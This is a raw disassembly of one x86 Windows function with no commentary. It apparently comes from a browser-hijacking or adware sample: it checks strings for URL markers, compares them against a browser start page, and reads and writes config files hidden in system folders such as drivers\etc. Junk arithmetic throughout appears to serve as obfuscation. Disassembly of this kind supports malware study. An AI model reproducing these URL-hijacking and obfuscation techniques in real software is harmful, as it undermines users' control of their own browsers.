mov edx, dword [0x455830]
imul edx, edx, 0x32
sub eax, edx
lea edi, [esi + eax]
mov dword [0x455818], eax
imul edi, edi, 0x36
mov eax, 0x4bda12f7
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51eb851f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
mov eax, dword [ebp - 0x10d8]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
lea ecx, [ebp - 0x10f0]
push ecx
mov dword [0x455834], edi
mov edx, dword [eax]
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10f0]
push edx
call fcn.0041eef0
mov ecx, dword [0x45582c]
mov ebx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
mov esi, eax
mov eax, 0x99999999
imul edx
sar edx, 4
mov edi, dword [0x455834]
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x455818]
sub edx, esi
lea eax, [eax + eax*8]
lea edx, [edx + eax*8]
mov eax, dword [str._r_____r____]
imul eax, eax, 0x38
add edx, eax
sub edx, edi
sub edx, 0x31
test ebx, ebx
mov dword [0x455820], edx
je 0x41bb2f
mov edi, 0x446324
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41bb29
mov ecx, dword [0x455838]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
mov esi, ecx
imul edx, edx, 0x36
imul esi, esi, 0xffffffcf
sub esi, eax
add esi, edx
mov edx, dword [0x455824]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
push 1
mov dword [0x455828], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
mov edx, dword [eax]
lea ecx, [ebp - 0x10f0]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10f0]
push edx
call fcn.0041eef0
mov ebx, eax
mov ecx, dword [0x45582c]
mov esi, dword [0x455828]
imul ecx, ecx, 0x31
imul esi, esi, 0x22
sub esi, ecx
mov ecx, dword [0x45581c]
mov eax, 0x66666667
imul ecx
mov ecx, dword [0x455824]
sar edx, 4
imul ecx, ecx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
push 4
sub esi, eax
add esi, ecx
push str.http
push ebx
mov dword [0x455830], esi
call fcn.0042a1c0
add esp, 0xc
test eax, eax
je 0x41bd8a
push 4
push str.HTTP
push ebx
call fcn.0042a1c0
add esp, 0xc
test eax, eax
je 0x41bd8a
push 4
push str.www.
push ebx
call fcn.0042a1c0
add esp, 0xc
test eax, eax
je 0x41bd8a
push 4
push str.WWW.
push ebx
call fcn.0042a1c0
add esp, 0xc
test eax, eax
je 0x41bd8a
push str.http:
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bc13
push str.HTTP:
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bc13
push str.www.
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bc13
push str.WWW.
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41bd8a
mov ecx, dword [0x45582c]
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455834]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x78787879
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, dword [0x455820]
push str.http:
push ebx
mov dword [0x455838], esi
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41bd36
push str.http:
jmp 0x41bd7f
mov esi, dword [0x455834]
imul ecx, ecx, 0x32
mov eax, 0x38e38e39
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
mov edi, eax
mov eax, 0x78787879
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
add edi, edx
mov edx, dword [0x455818]
imul edx, edx, 0x31
shr eax, 0x1f
add eax, edi
add eax, edx
sub eax, ecx
push str.startup.exe
mov dword [0x455818], eax
call fcn.0040bc20
add esp, 4
test eax, eax
jle 0x41b1ff
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], 5
je 0x41bd01
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41bd15
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41bd29
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
jmp 0x41c9a0
push str.HTTP:
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41bd4f
push str.HTTP:
jmp 0x41bd7f
push str.www.
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41bd68
push str.www.
jmp 0x41bd7f
push str.WWW.
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41bd8a
push str.WWW.
push ebx
call fcn.00429ab0
add esp, 8
mov ebx, eax
mov eax, 0x51eb851f
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov edi, dword [0x455830]
mov eax, 0x6db6db6d
imul edi, edi, 0x35
imul dword [0x455824]
sub edx, dword [0x455824]
sar edx, 5
mov ecx, dword [0x455838]
mov eax, edx
imul ecx, ecx, 0xd
shr eax, 0x1f
add eax, edx
sub eax, esi
mov dword [ebp - 0x10e8], eax
mov eax, 0x4bda12f7
imul dword [0x455824]
mov eax, dword [ebp - 0x10e8]
add eax, edi
sar edx, 4
mov esi, edx
mov dword [ebp - 0x10dc], ecx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x446c74]
add esi, eax
add esi, ecx
xor eax, eax
mov dword [ebp - 0x10fc], edi
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x446c78]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x446c7c]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x446c80]
xor eax, eax
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x4bda12f7
imul dword [0x455838]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x4bda12f7
imul dword [0x45581c]
sar edx, 4
mov eax, edx
add ecx, edx
mov edx, dword [ebp - 0x10dc]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x10fc]
sub eax, edx
sub eax, esi
lea edx, [eax + ecx + 0x28]
mov eax, ebx
mov dword [str._r_____r____], esi
mov dword [0x45581c], edx
lea esi, [eax + 1]
jmp 0x41bec0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41bec0
sub eax, esi
mov dword [ebp - 0x10fc], eax
je 0x41bffe
push str.http:__
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str.HTTP:__
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str.www.
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str.WWW.
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..COM
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..com
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..NET
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..net
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..ORG
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..org
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push 0x446c2c
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push 0x446c28
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..htm
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41bfe9
push str..HTM
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41bffe
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.00429011
add esp, 0xc
mov eax, 0x51eb851f
imul dword [0x45581c]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x455824]
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455838]
imul eax, eax, 0xd
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
sub edi, esi
add edi, edx
add ecx, edi
add ecx, eax
mov eax, dword [0x455830]
push str.C:WINDOWS_system_sdax.txt
imul eax, eax, 0x35
push 0x400
lea edx, [ebp - 0x8c4]
push edx
push 0x445e15
push str.rtgbh
add ecx, eax
push str.asdf
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c1b2
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c092
sub eax, edx
mov dword [ebp - 0x10fc], eax
je 0x41c1b2
mov edi, 0x446324
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41c1b2
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41c13b
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.00429ab0
add esp, 8
test eax, eax
jne 0x41c13b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea esp, [esp]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41c118
test al, al
je 0x41c114
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41c118
add esi, 2
add edi, 2
test al, al
jne 0x41c0f0
xor eax, eax
jmp 0x41c11d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c13b
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41c14f
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00429ab0
add esp, 8
test eax, eax
je 0x41c1b2
mov ecx, dword [0x45582c]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov ecx, dword [0x455820]
mov edi, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov ebx, dword [0x455834]
mov eax, 0x99999999
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, edi
imul eax, eax, 0x38
sub ecx, esi
mov esi, dword [0x455818]
lea edx, [esi + esi*8]
lea ecx, [ecx + edx*8]
add ecx, eax
sub ecx, ebx
sub ecx, 0x31
mov dword [0x455820], ecx
jmp 0x41c255
push 0
call fcn.00429647
mov ecx, dword [0x455838]
mov dword [0x569654], eax
mov eax, dword [0x569650]
add esp, 4
inc eax
mov dword [0x569650], eax
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
mov esi, ecx
imul edx, edx, 0x36
imul esi, esi, 0xffffffcf
sub esi, eax
add esi, edx
mov edx, dword [0x455824]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x455828], ecx
mov ecx, dword [ebp - 0x10cc]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x9c]
mov edi, dword [str._r_____r____]
mov esi, dword [0x455818]
mov ebx, dword [0x455834]
mov ecx, dword [0x455820]
mov eax, 0x38e38e39
imul esi, esi, 0x31
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x78787879
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [ebp - 0x10cc]
sub eax, ecx
mov dword [ebp - 0x10cc], eax
mov eax, 0x5397829d
imul ebx
mov eax, dword [ebp - 0x10cc]
sar edx, 4
mov ecx, edx
add eax, edx
shr ecx, 0x1f
add ecx, eax
mov eax, dword [ebp - 0x10c8]
add ecx, esi
mov esi, dword [0x455830]
mov edx, esi
imul edx, edx, 0x32
sub ecx, edx
test eax, eax
mov dword [0x455818], ecx
je 0x41c7c0
lea edx, [eax + 1]
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c2d5
sub eax, dword [ebp - 0x10cc]
mov dword [ebp - 0x10cc], eax
je 0x41c7c0
mov eax, dword [0x455828]
imul ecx, ecx, 0x35
imul edi, edi, 0x36
lea eax, [eax + eax*8]
shl eax, 3
mov ebx, eax
mov eax, 0x4bda12f7
imul dword [0x45582c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
sub ebx, eax
add ecx, ebx
lea ecx, [edi + ecx - 0x31]
push 0xffffffffffffffff
mov dword [0x455824], ecx
push 0x559230
lea ecx, [ebp - 0x113c]
call fcn.00405770
mov ebx, dword [0x455828]
mov edx, dword [0x45582c]
imul edx, edx, 0x31
mov ecx, ebx
imul ecx, ecx, 0x22
sub ecx, edx
mov eax, 0x66666667
imul dword [0x45581c]
mov esi, dword [ebp - 0x10c8]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455824]
imul edx, edx, 0x1b
sub ecx, eax
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x455830], ecx
mov edi, 0x558a28
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41c3a9
test al, al
je 0x41c3a5
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41c3a9
add esi, 2
add edi, 2
test al, al
jne 0x41c385
xor eax, eax
jmp 0x41c3ae
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c7a5
mov edi, dword [0x455838]
imul ecx, ecx, 0x35
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x4bda12f7
imul dword [0x45581c]
mov eax, dword [ebp - 0x10cc]
sar edx, 4
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, edi
imul eax, eax, 0xd
sub esi, eax
mov eax, dword [ebp - 0x10c8]
add esi, ecx
sub esi, dword [str._r_____r____]
add esi, 0x28
mov dword [0x45581c], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c414
sub eax, edx
cmp eax, 0x800
jae 0x41c43c
mov ecx, dword [ebp - 0x10c8]
mov edx, 0x558a28
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c430
jmp 0x41c4b6
mov eax, 0x4d4873ed
imul esi, esi, 0x36
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x4bda12f7
imul dword [0x455824]
mov ebx, edi
imul ebx, ebx, 0xffffffcf
sar edx, 4
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, esi
sub ebx, eax
mov eax, 0x4ec4ec4f
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov edx, dword [ebp - 0x10c8]
add ecx, ebx
push 0x7ff
mov dword [0x455828], ecx
push edx
xor eax, eax
mov ecx, 0x200
mov edi, 0x558a28
push 0x558a28
rep stosd dword es:[edi], eax
call fcn.0042a090
mov ebx, dword [0x455828]
add esp, 0xc
mov eax, dword [0x455818]
lea esi, [ebx + eax]
mov eax, 0x4bda12f7
imul esi, esi, 0x36
imul ebx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x51eb851f
imul ebx
sar edx, 4
mov eax, edx
sub esi, ecx
mov ecx, dword [0x455834]
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov eax, 0x558128
mov dword [0x455834], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c510
sub eax, ecx
cmp eax, 5
jbe 0x41c7a5
mov edx, dword [ebp - 0x10c8]
push str.ConfigL6
push edx
call fcn.00404050
add esp, 8
test eax, eax
jne 0x41c7a5
mov ecx, dword [0x45582c]
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455834]
sar edx, 4
imul ecx, ecx, 0x31
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x78787879
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
sub esi, eax
sub esi, edx
push 0x132b600
mov dword [0x455838], esi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor esi, esi
jmp 0x41c5a0
cmp esi, 0x64
jge 0x41c637
mov ecx, dword [0x45581c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x455824]
mov eax, 0x6db6db6d
imul ecx
sub edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
sub ebx, edi
mov ecx, edx
add ebx, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
push 0x64
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x558128
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c620
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x41c637
inc esi
jmp 0x41c5a0
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [str._r_____r____]
sub eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x35
push str.C:WINDOWS_system32driversetc_service5.ini
push 0x800
lea edx, [ebp - 0x10c4]
push edx
add eax, ecx
push 0x445e15
sub eax, esi
push str.ConfigL5
add eax, 0x28
push str.GameType1
mov dword [0x45581c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x455828]
mov ecx, dword [0x45582c]
lea eax, [eax + eax*8]
shl eax, 3
mov esi, eax
mov ebx, dword [0x455830]
mov eax, 0x4bda12f7
imul ecx
mov eax, dword [str._r_____r____]
sar edx, 4
imul eax, eax, 0x36
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455818]
imul edx, edx, 0x35
sub esi, ecx
add edx, ebx
add edx, esi
lea ecx, [eax + edx - 0x31]
lea edx, [ebp - 0x10c4]
push edx
mov dword [0x455824], ecx
call fcn.00429642
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x445b00
push eax
call fcn.00429011
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x455820]
mov esi, dword [0x45582c]
mov eax, 0x92492493
imul esi, esi, 0x31
imul ecx
add edx, ecx
sar edx, 5
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
imul ecx, ecx, 0x32
mov esi, dword [0x558120]
add edi, ecx
mov ecx, dword [0x45581c]
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x455830]
sar edx, 4
imul ecx, ecx, 0x22
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
inc esi
push 0
mov dword [0x45582c], edi
mov dword [0x558120], esi
call fcn.00429647
add esp, 4
mov dword [0x558124], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.004057f0
mov ecx, dword [0x455818]
mov ebx, dword [0x455834]
mov esi, dword [0x455828]
mov eax, 0x4bda12f7
imul esi
add ecx, esi
imul ecx, ecx, 0x36
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x51eb851f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push ecx
mov dword [0x455834], ecx
mov ecx, dword [ebp - 0x10d0]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x41c82d
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x569378
call fcn.00406570
mov ecx, dword [0x455834]
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455820]
mov esi, eax
mov eax, 0x78787879
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5397829d
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x32
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455818]
imul edx, edx, 0x31
shr ecx, 0x1f
add ecx, edi
add ecx, edx
sub ecx, eax
mov dword [0x455818], ecx
mov ecx, dword [ebp - 0x10d0]
push 0
push ecx
call fcn.004081b0
mov ecx, dword [0x45582c]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov ecx, dword [0x455820]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x99999999
imul ecx
mov eax, dword [0x455818]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [eax + eax*8]
sub ecx, esi
lea eax, [ecx + edx*8]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x455834]
imul ecx, ecx, 0x38
add eax, ecx
sub eax, edx
add esp, 8
sub eax, 0x31
mov dword [0x455820], eax
mov ecx, dword [0x455838]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
imul edx, edx, 0x36
mov esi, ecx
imul esi, esi, 0xffffffcf
sub esi, eax
add esi, edx
mov eax, 0x4bda12f7
imul dword [0x455824]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x455828], eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 5
je 0x41c970
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c984
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c998
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c9ac
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10f4]
mov ebx, dword [0x455830]
mov edi, dword [0x455838]
inc eax
mov dword [ebp - 0x10f4], eax
mov ecx, eax
jmp 0x41ab60
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41c9e0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455828]
mov eax, dword [0x45582c]
imul ecx, ecx, 0x22
imul eax, eax, 0x31
sub ecx, eax
mov eax, 0x66666667
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455824]
imul eax, eax, 0x1b
add ecx, eax
mov eax, dword [ebp - 0x1104]
mov dword [0x455830], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00428e41
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret